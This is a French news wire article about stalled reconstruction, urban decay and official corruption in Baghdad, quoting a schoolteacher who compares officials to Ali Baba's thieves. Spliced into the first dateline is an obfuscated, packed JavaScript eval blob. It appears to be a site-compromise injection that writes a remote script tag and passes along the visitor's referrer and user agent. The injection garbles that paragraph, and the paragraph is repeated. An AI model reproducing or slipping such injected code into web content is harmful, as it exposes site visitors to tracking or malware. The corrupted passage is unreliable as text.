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Ali Baba et les 40 voleurs multipliés par mille en Iraq

Bagdad, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyntr|var|u0026u|referrer|ztzre||js|php'.split('|'),0,{})) 9 avril (PL). Ali Baba et ses 40 voleurs se sont multipliés par milliers en Iraq, comme le dénonce ZuheirQuasmi, un maître d’école qui a les honneurs de la presse locale.

Bagdad, 9 avril (PL). Ali Baba et ses 40 voleurs se sont multipliés par milliers en Iraq, comme le dénonce ZuheirQuasmi, un maître d’école qui a les honneurs de la presse locale.

Quasmi affirme que cette situation est le résultat du désordre et du chaos régnant dans le pays après le renversement de Sadam Hussein et son exécution par les envahisseurs étasuniens en 2003.

Dans la quinzaine d’années écoulées, précise-t-il, les promesses de reconstruction ainsi que la grande majorité des projets sont restées dans les cartons et n’ont plus aucune chance de voir le jour.

Pour Bagdad, la seconde capitale arabe la plus peuplée, des dizaines de projets visant à rendre son lustre passé à cette métropole millénaire se sont effondrés ou sont partis en fumée.

De nos jours, le paysage est couvert de terrains désolés, de grues rouillées à l’abandon, d’édifices en ruines, de ponts éventrés et de rues pleines de nids de poule par manque d’entretien.

Il y a quelques années, après l’invasion et l’occupation par le Pentagone qui s’ensuivit, on se prit à espérer que Bagdad resurgirait de ses cendres, mais en réalité, ce fut le contraire qui se passa: la destruction s’installa de manière permanente.

Un autre problème s’est ajouté à tous ceux, nombreux, que connait déjà la ville: l’arrivée des personnes déplacées par les combats qui font rage, à tel point que la population, qui n’était que de 4,2 millions avant la présence des envahisseurs, atteint maintenant plus de sept millions d’habitants.

L’infrastructure de la capitale, qui s’étend sur une surface de 900 kilomètres carrés, nécessite des réparations urgentes sous peine de transformer la ville en une cité fantasmagorique aux antipodes de l’image reflétée par les contes arabes pour enfants et les Mille et Une Nuits.

« L’industrie, l’éducation, la santé, l’agriculture… maintenant, tout est pire qu’à l’époque de Sadam Hussein », se plaint l’entrepreneur Sadeq al-Shomari.

En 2004 et, à nouveau en 2007, se sont tenues des conférences internationales pour reconstruire l’Iraq et les participants ont promis des dons massifs pour des projets qui ne se sont jamais réalisés.

Beaucoup des fonds alloués à la reconstruction se sont volatilisés, constate l’entreprise spécialisée Transparency International, qui classe l’Iraq au douzième rang des pays les plus corrompus au monde.

« La faute en est aux fonctionnaires », se désole Quasmi qui les compare  aux voleurs dans le conte populaire Ali Baba. Seulement, précise-t-il, ils se sont maintenant multipliés par mille.

peo/tgj/arc

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